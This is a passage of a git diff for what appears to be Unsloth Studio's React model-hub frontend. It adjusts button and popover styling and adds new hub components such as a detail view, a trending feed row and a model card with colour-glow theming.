-          className="inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-[8px] text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-rose-500/10 hover:text-rose-600 focus-visible:opacity-100 group-hover/dl:opacity-100 dark:hover:bg-rose-500/15 dark:hover:text-rose-400"
+          className="inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-rose-500/10 hover:text-rose-600 focus-visible:opacity-100 group-hover/dl:opacity-100 dark:hover:bg-rose-500/15 dark:hover:text-rose-400"
         >
           <HugeiconsIcon
             icon={Delete02Icon}
@@ -110,10 +111,7 @@ export function CardDeleteButton({
   );
 }
 
-/**
- * Download / Cancel / Resume button for the safetensors and dataset cards
- * (the GGUF card folds Run/Chat into its own bespoke CTA).
- */
+/** Download / Cancel / Resume button for the safetensors and dataset cards. */
 export function DownloadActionButton({
   downloading,
   cancelling,
diff --git a/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx b/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx
index fcd2bd6b01..5a661467fc 100644
--- a/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx
+++ b/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx
@@ -39,11 +39,11 @@ export function ExternalLinkConfirmDialog() {
     >
       <AlertDialogContent>
         <AlertDialogHeader>
-          <AlertDialogMedia className="size-12">
+          <AlertDialogMedia>
             <HugeiconsIcon
               icon={LinkSquare02Icon}
               strokeWidth={1.75}
-              className="size-5 text-muted-foreground"
+              className="text-muted-foreground"
             />
           </AlertDialogMedia>
           <AlertDialogTitle>Open external link</AlertDialogTitle>
diff --git a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
index 8633bda6fa..ea3f158aa6 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
@@ -26,7 +26,6 @@ import {
   normalizeGgufVariantIdentity,
 } from "../lib/model-identity";
 import { cn } from "@/lib/utils";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { useHfTokenStore } from "../stores/hf-token-store";
 import {
   Delete02Icon,
@@ -35,6 +34,7 @@ import {
   PencilEdit02Icon,
   PlayIcon,
 } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   memo,
@@ -588,7 +588,7 @@ export function GgufDownloadCard({
   const variantListUnavailable = !sortedVariants || sortedVariants.length === 0;
   const showVariantLoadingState = loading && variantListUnavailable;
 
-  // Keep showing download progress even when the variant list is unavailable, so a
+  // Keep showing download progress while the variant list is unavailable, so a
   // remount never hides an in-flight download behind the variant status card.
   if (progress && variantListUnavailable) {
     return (
@@ -666,7 +666,7 @@ export function GgufDownloadCard({
                 e.preventDefault();
                 setOpen((o) => !o);
               }}
-              className="hub-menu-trigger flex h-9 min-w-0 flex-1 cursor-pointer items-center gap-2.5 rounded-full px-3 text-left transition-colors hover:bg-foreground/[0.04] data-[state=open]:bg-foreground/[0.06] dark:hover:bg-white/[0.1] dark:data-[state=open]:bg-white/[0.06]"
+              className="hub-menu-trigger flex h-9 min-w-0 flex-1 cursor-pointer items-center gap-2.5 rounded-full px-3 text-left transition-colors hover:bg-foreground/[0.04] data-[state=open]:bg-foreground/[0.06] dark:hover:bg-white/[0.04] dark:data-[state=open]:bg-white/[0.06]"
             >
               {selected ? (
                 <QuantBadge
@@ -714,7 +714,6 @@ export function GgufDownloadCard({
                   )}
                 <HugeiconsIcon
                   icon={ChevronDownStandardIcon}
-                  strokeWidth={1.25}
                   className="ml-0.5 size-3.5 shrink-0"
                 />
               </span>
@@ -723,7 +722,7 @@ export function GgufDownloadCard({
           <PopoverContent
             align="start"
             side="bottom"
-            sideOffset={0}
+            sideOffset={8}
             avoidCollisions={false}
             className="hub-menu-instant menu-soft-surface w-[var(--radix-popover-trigger-width)] min-w-[200px] gap-0 overflow-hidden p-0 py-2 ring-0"
           >
@@ -831,11 +830,7 @@ export function GgufDownloadCard({
             </>
           ) : selected?.downloaded ? (
             <>
-              <HugeiconsIcon
-                icon={PlayIcon}
-                strokeWidth={1.75}
-                className="translate-x-px"
-              />
+              <HugeiconsIcon icon={PlayIcon} strokeWidth={1.75} />
               Run
             </>
           ) : (
diff --git a/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx b/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
new file mode 100644
index 0000000000..460dba9613
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
@@ -0,0 +1,81 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { ArrowLeft01Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { cn } from "@/lib/utils";
+import { type ComponentProps, useEffect, useRef, useState } from "react";
+import { ModelInspector } from "./model-inspector";
+
+type InspectorProps = ComponentProps<typeof ModelInspector>;
+
+export function HubDetailView({
+  onBack,
+  compact = false,
+  ...inspectorProps
+}: InspectorProps & { onBack: () => void; compact?: boolean }) {
+  const scrollRef = useRef<HTMLDivElement | null>(null);
+  const [scrolled, setScrolled] = useState(false);
+  // Split pane is narrower than the full-page overlay; tighter measure reads better.
+  const measure = compact
+    ? "mx-auto w-full max-w-[860px] px-5 sm:px-5"
+    : "mx-auto w-full max-w-[1100px] px-5 sm:px-8";
+
+  useEffect(() => {
+    const el = scrollRef.current;
+    if (!el) return;
+    const onScroll = () => {
+      const next = el.scrollTop > 0;
+      setScrolled((current) => (current === next ? current : next));
+    };
+    onScroll();
+    el.addEventListener("scroll", onScroll, { passive: true });
+    return () => el.removeEventListener("scroll", onScroll);
+  }, []);
+
+  return (
+    <div className="relative flex min-h-0 flex-1 flex-col">
+      {/* Same top scroll fade as the left column. The sticky back-bar, when
+          shown, sits above and hides it. */}
+      <div
+        aria-hidden="true"
+        data-scrolled={scrolled || undefined}
+        className="hub-scroll-fade pointer-events-none absolute inset-x-0 top-0 z-10 h-7"
+      />
+      <div
+        ref={scrollRef}
+        data-hub-scroll="true"
+        // Right margin nudges the scrollbar in from the pane's edge.
+        className="min-h-0 flex-1 overflow-x-hidden overflow-y-auto [overflow-anchor:none] mr-2 [scrollbar-gutter:stable] [scrollbar-width:thin]"
+      >
+        <div
+          className={cn(
+            "hub-detail-bar sticky top-0 z-20",
+            // In split view on large screens the list sits alongside, so "Back
+            // to Hub" is redundant; keep it only for the overlay where it's hidden.
+            compact && "lg:hidden",
+          )}
+          data-scrolled={scrolled || undefined}
+        >
+          <div className={`${measure} py-3`}>
+            <button
+              type="button"
+              onClick={onBack}
+              className="-ml-1.5 inline-flex h-8 cursor-pointer select-none items-center gap-1.5 rounded-full pl-1.5 pr-2.5 text-[12.5px] font-medium text-muted-foreground transition-colors hover:bg-foreground/[0.05] hover:text-foreground dark:hover:bg-white/[0.06]"
+            >
+              <HugeiconsIcon
+                icon={ArrowLeft01Icon}
+                strokeWidth={1.75}
+                className="size-3.5"
+              />
+              Back to Hub
+            </button>
+          </div>
+        </div>
+        <div className={cn(measure, "pb-20", compact && "lg:pt-4")}>
+          <ModelInspector {...inspectorProps} />
+        </div>
+      </div>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/hub-feed.tsx b/studio/frontend/src/features/hub/catalog/hub-feed.tsx
new file mode 100644
index 0000000000..db39e31b7b
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/hub-feed.tsx
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { memo } from "react";
+import { HUB_SECTION_TITLE, type HubSection } from "../lib/channels";
+import type { DiscoverRow } from "../types";
+import { HubSectionRow } from "./hub-section-row";
+
+export interface HubFeedSectionData {
+  rows: DiscoverRow[];
+  isLoading: boolean;
+}
+
+export const HubFeed = memo(function HubFeed({
+  trending,
+  deviceType,
+  isDataset,
+  onSelect,
+  onOpenChannel,
+}: {
+  trending: HubFeedSectionData;
+  deviceType: string | null;
+  isDataset: boolean;
+  onSelect: (id: string) => void;
+  onOpenChannel: (section: HubSection) => void;
+}) {
+  return (
+    <div className="flex flex-col gap-10">
+      <HubSectionRow
+        title={HUB_SECTION_TITLE.trending}
+        rows={trending.rows}
+        isLoading={trending.isLoading}
+        onSelect={onSelect}
+        onOpenList={() => onOpenChannel("trending")}
+        deviceType={deviceType}
+        isDataset={isDataset}
+      />
+    </div>
+  );
+});
diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
index db1332f03a..ed83e46b36 100644
--- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
@@ -6,9 +6,9 @@ import {
   PopoverContent,
   PopoverTrigger,
 } from "@/components/ui/popover";
+import { cn } from "@/lib/utils";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
-import { cn } from "@/lib/utils";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   type KeyboardEvent,
@@ -167,18 +167,13 @@ export function HubOptionMenu<T extends string>({
             }
           }}
         >
-          <span className="flex min-w-0 items-center gap-2">
-            {triggerContent ?? (
-              <span className="min-w-0 truncate">
-                {selected?.triggerLabel ?? selected?.label ?? value}
-              </span>
-            )}
+          <span className="min-w-0 flex-1 truncate text-left">
+            {triggerContent ?? selected?.triggerLabel ?? selected?.label ?? value}
           </span>
           {showChevron && (
             <HugeiconsIcon
               icon={ChevronDownStandardIcon}
-              strokeWidth={1.5}
-              className="size-3 shrink-0 text-muted-foreground"
+              className="size-3.5 shrink-0 text-muted-foreground"
             />
           )}
         </button>
@@ -186,11 +181,11 @@ export function HubOptionMenu<T extends string>({
       <PopoverContent
         align={align}
         side="bottom"
-        sideOffset={0}
+        sideOffset={8}
         collisionPadding={12}
         onCloseAutoFocus={(event) => event.preventDefault()}
         className={cn(
-          "hub-menu-instant menu-soft-surface w-max min-w-[var(--radix-popover-trigger-width)] max-w-[min(var(--radix-popover-content-available-width),calc(100vw-1rem))] rounded-[21px] px-[9px] py-2 ring-0",
+          "hub-menu-instant menu-soft-surface w-max min-w-[var(--radix-popover-trigger-width)] max-w-[min(var(--radix-popover-content-available-width),calc(100vw-1rem))] rounded-[14px] p-1 ring-0",
           contentClassName,
         )}
       >
@@ -219,14 +214,14 @@ export function HubOptionMenu<T extends string>({
                 }}
                 onPointerEnter={() => activateIndex(index)}
                 className={cn(
-                  "relative flex w-full min-w-0 cursor-pointer select-none items-center gap-2.5 rounded-[12px] py-2 px-3 text-left text-sm leading-snug outline-none transition-colors",
+                  "relative flex w-full min-w-0 cursor-pointer select-none items-center rounded-[12px] py-2 pr-8 pl-3 text-left text-sm leading-snug outline-none transition-colors",
                 )}
               >
                 <span className="flex min-w-0 flex-1 items-center gap-2.5 overflow-hidden whitespace-normal break-words">
                   {option.label}
                 </span>
                 {selectedOption && (
-                  <span className="pointer-events-none flex size-4 shrink-0 items-center justify-center">
+                  <span className="pointer-events-none absolute right-2 flex size-4 items-center justify-center">
                     <HugeiconsIcon
                       icon={Tick02Icon}
                       strokeWidth={2}
diff --git a/studio/frontend/src/features/hub/catalog/hub-section-row.tsx b/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
new file mode 100644
index 0000000000..70049f16e3
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Skeleton } from "@/components/ui/skeleton";
+import { ArrowRight01Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { memo } from "react";
+import type { DiscoverRow } from "../types";
+import { CardCarousel } from "./card-carousel";
+import {
+  MODEL_CARD_HEIGHT_PX,
+  MODEL_CARD_WIDTH_PX,
+  ModelCard,
+} from "./model-card";
+
+const SKELETON_KEYS = ["s0", "s1", "s2", "s3", "s4"] as const;
+
+function HubSectionRowSkeleton() {
+  return (
+    <div className="flex gap-4 overflow-hidden pb-4 pt-2">
+      {SKELETON_KEYS.map((key) => (
+        <Skeleton
+          key={key}
+          className="shrink-0 rounded-[20px]"
+          style={{ width: MODEL_CARD_WIDTH_PX, height: MODEL_CARD_HEIGHT_PX }}
+        />
+      ))}
+    </div>
+  );
+}
+
+export const HubSectionRow = memo(function HubSectionRow({
+  title,
+  rows,
+  onSelect,
+  onOpenList,
+  deviceType,
+  isDataset,
+  isLoading,
+}: {
+  title: string;
+  rows: DiscoverRow[];
+  onSelect: (id: string) => void;
+  onOpenList: () => void;
+  deviceType: string | null;
+  isDataset: boolean;
+  isLoading: boolean;
+}) {
+  const showSkeleton = isLoading && rows.length === 0;
+  if (!showSkeleton && rows.length === 0) {
+    return null;
+  }
+
+  return (
+    <section aria-label={title} className="group/carousel">
+      <h2 className="mb-3">
+        <button
+          type="button"
+          onClick={onOpenList}
+          aria-label={`See all ${title}`}
+          className="hub-section-title group/section -mx-1 inline-flex cursor-pointer items-center gap-1.5 rounded-md px-1 text-[18px] font-semibold tracking-[-0.02em] text-foreground outline-none focus-visible:ring-2 focus-visible:ring-ring"
+        >
+          {title}
+          <HugeiconsIcon
+            icon={ArrowRight01Icon}
+            strokeWidth={2}
+            className="hub-section-chevron size-4 text-muted-foreground"
+          />
+        </button>
+      </h2>
+      {showSkeleton ? (
+        <HubSectionRowSkeleton />
+      ) : (
+        <CardCarousel
+          items={rows}
+          getKey={(row) => row.id}
+          itemWidth={MODEL_CARD_WIDTH_PX}
+          itemHeight={MODEL_CARD_HEIGHT_PX}
+          ariaLabel={title}
+          renderItem={(row) => (
+            <ModelCard
+              row={row}
+              deviceType={deviceType}
+              isDataset={isDataset}
+              onSelect={onSelect}
+            />
+          )}
+        />
+      )}
+    </section>
+  );
+});
diff --git a/studio/frontend/src/features/hub/catalog/hub-top-bar.tsx b/studio/frontend/src/features/hub/catalog/hub-top-bar.tsx
new file mode 100644
index 0000000000..f706dd1ff2
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/hub-top-bar.tsx
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { ReactNode } from "react";
+
+export function HubTopBar({ children }: { children: ReactNode }) {
+  return (
+    <div className="hub-canvas shrink-0">
+      <div className="mx-auto flex w-full max-w-[1100px] flex-col gap-4 px-5 pb-3 pt-6 sm:px-8">
+        {children}
+      </div>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx b/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx
index 5b9ca6b1de..ddda124745 100644
--- a/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx
@@ -47,7 +47,7 @@ export function LocalDatasetCard({
             className="ml-1 mr-0 h-5 w-px shrink-0 bg-foreground/[0.06] opacity-100 transition-opacity duration-150 group-hover/dl:opacity-0 dark:bg-white/[0.04]"
           />
         )}
-        {/* Train CTA hidden until Hub->train picker ships. */}
+        {/* Train CTA hidden until Hub→train picker ships. */}
         {onTrain && HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && (
           <button
             type="button"
diff --git a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
index 9aec9930b8..7edae555d8 100644
--- a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
@@ -28,7 +28,6 @@ import { ggufVariantsMatch } from "../lib/model-identity";
 import { cn } from "@/lib/utils";
 import { confirmExternalLink } from "../stores/external-link-confirm";
 import { useHfTokenStore } from "../stores/hf-token-store";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import {
   Alert02Icon,
   CubeIcon,
@@ -36,6 +35,7 @@ import {
   PlayIcon,
   Share05Icon,
 } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useMemo, useState } from "react";
 import {
@@ -143,7 +143,7 @@ function BaseModelReference({
               target="_blank"
               rel="noopener noreferrer"
               aria-label={`Open ${baseModelHubId} on Hugging Face`}
-              className="inline-flex size-7 shrink-0 items-center justify-center rounded-[8px] text-muted-foreground transition-colors hover:bg-background hover:text-foreground"
+              className="inline-flex size-7 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-background hover:text-foreground"
               onClick={(event) => {
                 event.stopPropagation();
                 if (confirmExternalLink(`https://huggingface.co/${baseModelHubId}`)) {
@@ -350,7 +350,6 @@ export function LocalOnDeviceCard({
                       )}
                       <HugeiconsIcon
                         icon={ChevronDownStandardIcon}
-                        strokeWidth={1.5}
                         className="size-3 shrink-0"
                       />
                     </button>
@@ -358,7 +357,7 @@ export function LocalOnDeviceCard({
                   <PopoverContent
                     align="start"
                     side="bottom"
-                    sideOffset={0}
+                    sideOffset={8}
                     avoidCollisions={false}
                     className="hub-menu-instant menu-soft-surface w-[var(--radix-popover-trigger-width)] min-w-[220px] gap-0 overflow-hidden p-0 py-2 ring-0"
                   >
@@ -452,7 +451,7 @@ export function LocalOnDeviceCard({
               !runActionsVisible && "hidden",
             )}
           >
-            {onTrain && (
+            {onTrain && HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && (
               <button
                 type="button"
                 onClick={() => onTrain()}
diff --git a/studio/frontend/src/features/hub/catalog/model-card.tsx b/studio/frontend/src/features/hub/catalog/model-card.tsx
new file mode 100644
index 0000000000..358a3409b5
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/model-card.tsx
@@ -0,0 +1,362 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { classifyUnslothSupport } from "@/features/hub/hooks/use-hub-model-search";
+import { ownerPaletteColor } from "@/features/hub/lib/avatar-theme";
+import { buildAdaptiveCardAccentStyle } from "@/features/hub/lib/card-accent";
+import { useDominantColor } from "@/features/hub/lib/use-dominant-color";
+import { formatModelParamLabel } from "@/features/hub/lib/view-models";
+import { formatCompact } from "@/lib/utils";
+import { Download01Icon, FavouriteIcon } from "@hugeicons/core-free-icons";
+import { type CSSProperties, memo, useMemo } from "react";
+import type { DiscoverRow } from "../types";
+import { StatChip, buildRowStatusTooltip } from "./models-catalog-rows";
+import { OwnerAvatar, useAvatarImageUrl } from "./owner-avatar";
+import { AccessGlyphs, CapabilityPill } from "./shared";
+
+export const MODEL_CARD_WIDTH_PX = 204;
+export const MODEL_CARD_HEIGHT_PX = 128;
+
+export type TrendingCardStyle = CSSProperties & {
+  "--hub-card-art-accent"?: string;
+  "--hub-trending-glow"?: string;
+  "--hub-trending-glow-x"?: string;
+  "--hub-trending-glow-y"?: string;
+  "--hub-trending-glow-size"?: string;
+  "--hub-trending-sheen-angle"?: string;
+  "--hub-trending-scrim-angle"?: string;
+  "--hub-trending-secondary-glow"?: string;
+  "--hub-trending-secondary-x"?: string;
+  "--hub-trending-secondary-y"?: string;
+  "--hub-trending-secondary-size"?: string;
+};
+
+const DEFAULT_TRENDING_AURA_LAYOUT = {
+  x: 24,
+  y: 16,
+  size: 48,
+  secondaryX: 82,
+  secondaryY: 12,
+  secondarySize: 24,
+  sheenAngle: 145,
+  scrimAngle: 320,
+} as const;
+
+const TRENDING_AURA_LAYOUTS = [
+  DEFAULT_TRENDING_AURA_LAYOUT,
+  {
+    x: 72,
+    y: 15,
+    size: 47,
+    secondaryX: 18,
+    secondaryY: 28,
+    secondarySize: 25,
+    sheenAngle: 220,
+    scrimAngle: 45,
+  },
+  {
+    x: 50,
+    y: 8,
+    size: 45,
+    secondaryX: 78,
+    secondaryY: 36,
+    secondarySize: 23,
+    sheenAngle: 260,
+    scrimAngle: 110,
+  },
+  {
+    x: 18,
+    y: 36,
+    size: 52,
+    secondaryX: 72,
+    secondaryY: 10,
+    secondarySize: 24,
+    sheenAngle: 115,
+    scrimAngle: 285,
+  },
+  {
+    x: 84,
+    y: 34,
+    size: 50,
+    secondaryX: 22,
+    secondaryY: 12,
+    secondarySize: 24,
+    sheenAngle: 245,
+    scrimAngle: 70,
+  },
+  {
+    x: 36,
+    y: 50,
+    size: 52,
+    secondaryX: 82,
+    secondaryY: 18,
+    secondarySize: 23,
+    sheenAngle: 35,
+    scrimAngle: 205,
+  },
+  {
+    x: 66,
+    y: 48,
+    size: 51,
+    secondaryX: 18,
+    secondaryY: 16,
+    secondarySize: 24,
+    sheenAngle: 325,
+    scrimAngle: 145,
+  },
+  {
+    x: 42,
+    y: 22,
+    size: 46,
+    secondaryX: 86,
+    secondaryY: 44,
+    secondarySize: 22,
+    sheenAngle: 75,
+    scrimAngle: 255,
+  },
+] as const;
+
+function hashString(value: string): number {
+  let hash = 0;
+  for (let index = 0; index < value.length; index += 1) {
+    hash = (hash * 31 + value.charCodeAt(index)) | 0;
+  }
+  return hash >>> 0;
+}
+
+function clamp(value: number, min: number, max: number): number {
+  return Math.min(max, Math.max(min, value));
+}
+
+function resolveTrendingGlow(row: DiscoverRow): Pick<
+  TrendingCardStyle,
+  "--hub-trending-glow" | "--hub-trending-secondary-glow"
+> {
+  const signature = `${row.owner} ${row.repo} ${row.result.id}`.toLowerCase();
+  if (signature.includes("gemma") || signature.includes("google")) {
+    return {
+      "--hub-trending-glow": "rgba(62, 125, 255, 0.52)",
+      "--hub-trending-secondary-glow": "rgba(120, 180, 255, 0.18)",
+    };
+  }
+  if (signature.includes("qwen") || signature.includes("qwq")) {
+    return {
+      "--hub-trending-glow": "rgba(150, 92, 255, 0.52)",
+      "--hub-trending-secondary-glow": "rgba(196, 140, 255, 0.18)",
+    };
+  }
+  if (signature.includes("llama") || signature.includes("meta")) {
+    return {
+      "--hub-trending-glow": "rgba(20, 184, 166, 0.5)",
+      "--hub-trending-secondary-glow": "rgba(72, 222, 196, 0.16)",
+    };
+  }
+  if (signature.includes("mistral") || signature.includes("mixtral")) {
+    return {
+      "--hub-trending-glow": "rgba(255, 138, 64, 0.5)",
+      "--hub-trending-secondary-glow": "rgba(255, 206, 92, 0.16)",
+    };
+  }
+  if (signature.includes("deepseek")) {
+    return {
+      "--hub-trending-glow": "rgba(104, 96, 255, 0.52)",
+      "--hub-trending-secondary-glow": "rgba(150, 130, 255, 0.16)",
+    };
+  }
+  if (signature.includes("phi") || signature.includes("microsoft")) {
+    return {
+      "--hub-trending-glow": "rgba(34, 176, 224, 0.5)",
+      "--hub-trending-secondary-glow": "rgba(96, 214, 244, 0.16)",
+    };
+  }
+  if (
+    signature.includes("unsloth") ||
+    signature.includes("lfm") ||
+    signature.includes("liquid")
+  ) {
+    return {
+      "--hub-trending-glow": "rgba(0, 198, 150, 0.48)",
+      "--hub-trending-secondary-glow": "rgba(64, 226, 196, 0.16)",
+    };
+  }
+  return {
+    "--hub-trending-glow":
+      "color-mix(in srgb, var(--hub-card-art-accent) 46%, transparent)",
+    "--hub-trending-secondary-glow":
+      "color-mix(in srgb, var(--hub-card-art-accent) 14%, transparent)",
+  };
+}
+
+export function buildTrendingAuraStyle(row: DiscoverRow): TrendingCardStyle {
+  const hash = hashString(`${row.id}:${row.owner}:${row.repo}`);
+  const layout =
+    TRENDING_AURA_LAYOUTS[hash % TRENDING_AURA_LAYOUTS.length] ??
+    DEFAULT_TRENDING_AURA_LAYOUT;
+  const glowX = clamp(layout.x + ((hash >>> 4) % 11) - 5, 12, 88);
+  const glowY = clamp(layout.y + ((hash >>> 8) % 9) - 4, 6, 56);
+  const secondaryX = clamp(
+    layout.secondaryX + ((hash >>> 12) % 11) - 5,
+    10,
+    90,
+  );
+  const secondaryY = clamp(
+    layout.secondaryY + ((hash >>> 16) % 9) - 4,
+    6,
+    58,
+  );
+  const sheenAngle = layout.sheenAngle + ((hash >>> 20) % 17) - 8;
+  const scrimAngle = layout.scrimAngle + ((hash >>> 24) % 19) - 9;
+  return {
+    ...resolveTrendingGlow(row),
+    "--hub-trending-glow-x": `${glowX}%`,
+    "--hub-trending-glow-y": `${glowY}%`,
+    "--hub-trending-glow-size": `${layout.size}%`,
+    "--hub-trending-sheen-angle": `${sheenAngle}deg`,
+    "--hub-trending-scrim-angle": `${scrimAngle}deg`,
+    "--hub-trending-secondary-x": `${secondaryX}%`,
+    "--hub-trending-secondary-y": `${secondaryY}%`,
+    "--hub-trending-secondary-size": `${layout.secondarySize}%`,
+  };
+}
+
+export const ModelCard = memo(function ModelCard({
+  row,
+  deviceType,
+  isDataset,
+  onSelect,
+}: {
+  row: DiscoverRow;
+  deviceType: string | null;
+  isDataset: boolean;
+  onSelect: (id: string) => void;
+}) {
+  const support = useMemo(
+    () =>
+      isDataset
+        ? null
+        : classifyUnslothSupport({
+            modelId: row.id,
+            pipelineTag: row.result.pipelineTag,
+            tags: row.result.tags,
+            libraryName: row.result.libraryName,
+            deviceType,
+            quantMethod: row.result.quantMethod,
+          }),
+    [isDataset, row.id, row.result, deviceType],
+  );
+  const unsupported = support?.status === "unsupported";
+  const partial = row.isAvailableOnDevice && row.isPartialOnDevice;
+  const onDevice = row.isAvailableOnDevice && !row.isPartialOnDevice;
+  const topCapability = row.capabilities[0] ?? null;
+  const sizeLabel = formatModelParamLabel(row.repo, row.result.totalParams);
+  const hasSize = sizeLabel !== "N/A";
+  const tip = buildRowStatusTooltip({
+    partialRepoId: partial ? row.result.id : undefined,
+    unsupported,
+    unsupportedReason: support?.reason ?? null,
+    resourceLabel: isDataset ? "dataset" : "model",
+  });
+  const iconUrl = useAvatarImageUrl(row.owner, row.repo);
+  const dominant = useDominantColor(iconUrl);
+  const cardAccentStyle = useMemo(
+    () => ({
+      "--hub-card-art-accent": ownerPaletteColor(`${row.owner}/${row.repo}`),
+      ...buildTrendingAuraStyle(row),
+      ...buildAdaptiveCardAccentStyle(dominant),
+    }),
+    [dominant, row],
+  );
+  const card = (
+    <button
+      type="button"
+      aria-label={row.repo}
+      onClick={() => onSelect(row.id)}
+      style={cardAccentStyle}
+      className="hub-model-card hub-trending-card group/card flex h-full w-full cursor-pointer flex-col overflow-hidden px-3 py-3.5 text-left outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+    >
+      <div className="flex min-w-0 items-start gap-2.5">
+        <OwnerAvatar
+          owner={row.owner}
+          repoName={row.repo}
+          className="size-11 shrink-0 rounded-[14px] text-[17px] ring-1 ring-white/10"
+          remote={false}
+        />
+        <div className="min-w-0 flex-1 space-y-0.5">
+          <p className="hub-trending-title line-clamp-2 text-[13.5px] font-semibold leading-[16px] text-foreground">
+            {row.repo}
+          </p>
+          <span className="hub-trending-owner flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
+            <span className="truncate">{row.owner}</span>
+            {row.owner.toLowerCase() === "unsloth" && (
+              <span
+                aria-label="Verified Unsloth"
+                className="hub-verified-badge size-3.5 shrink-0 text-primary"
+              />
+            )}
+          </span>
+        </div>
+        <div className="mt-[3px] flex shrink-0 items-center gap-1">
+          <AccessGlyphs
+            gated={row.result.gated}
+            isPrivate={row.result.private}
+          />
+          {partial && (
+            <span
+              role="img"
+              aria-label="Partial download"
+              className="inline-block size-[5px] rounded-full bg-status-warning"
+            />
+          )}
+          {unsupported && (
+            <span
+              role="img"
+              aria-label="May not be supported yet"
+              className="inline-block size-[5px] rounded-full bg-status-danger"
+            />
+          )}
+          {onDevice && (
+            <span
+              role="img"
+              aria-label="On device"
+              className="inline-block size-[5px] rounded-full bg-status-success"
+            />
+          )}
+        </div>
+      </div>
+      <div className="mt-auto flex items-end justify-between gap-2 pt-2.5">
+        <div className="hub-trending-stats flex min-w-0 items-center gap-2.5 pb-[3px]">
+          <StatChip
+            icon={Download01Icon}
+            value={formatCompact(row.result.downloads)}
+          />
+          <StatChip
+            icon={FavouriteIcon}
+            value={formatCompact(row.result.likes)}
+          />
+        </div>
+        {hasSize ? (
+          <span className="hub-chip shrink-0">{sizeLabel}</span>
+        ) : topCapability ? (
+          <CapabilityPill capability={topCapability} iconOnly={true} />
+        ) : null}
+      </div>
+    </button>
+  );
+
+  if (!tip) {
+    return card;
+  }
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>{card}</TooltipTrigger>
+      <TooltipContent side="top" className="tooltip-compact max-w-[240px]">
+        {tip}
+      </TooltipContent>
+    </Tooltip>
+  );
+});
diff --git a/studio/frontend/src/features/hub/catalog/model-inspector.tsx b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
index 24909b38aa..371d595ddc 100644
--- a/studio/frontend/src/features/hub/catalog/model-inspector.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
@@ -12,13 +12,17 @@ import {
   classifyUnslothSupport,
 } from "@/features/hub/hooks/use-hub-model-search";
 import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
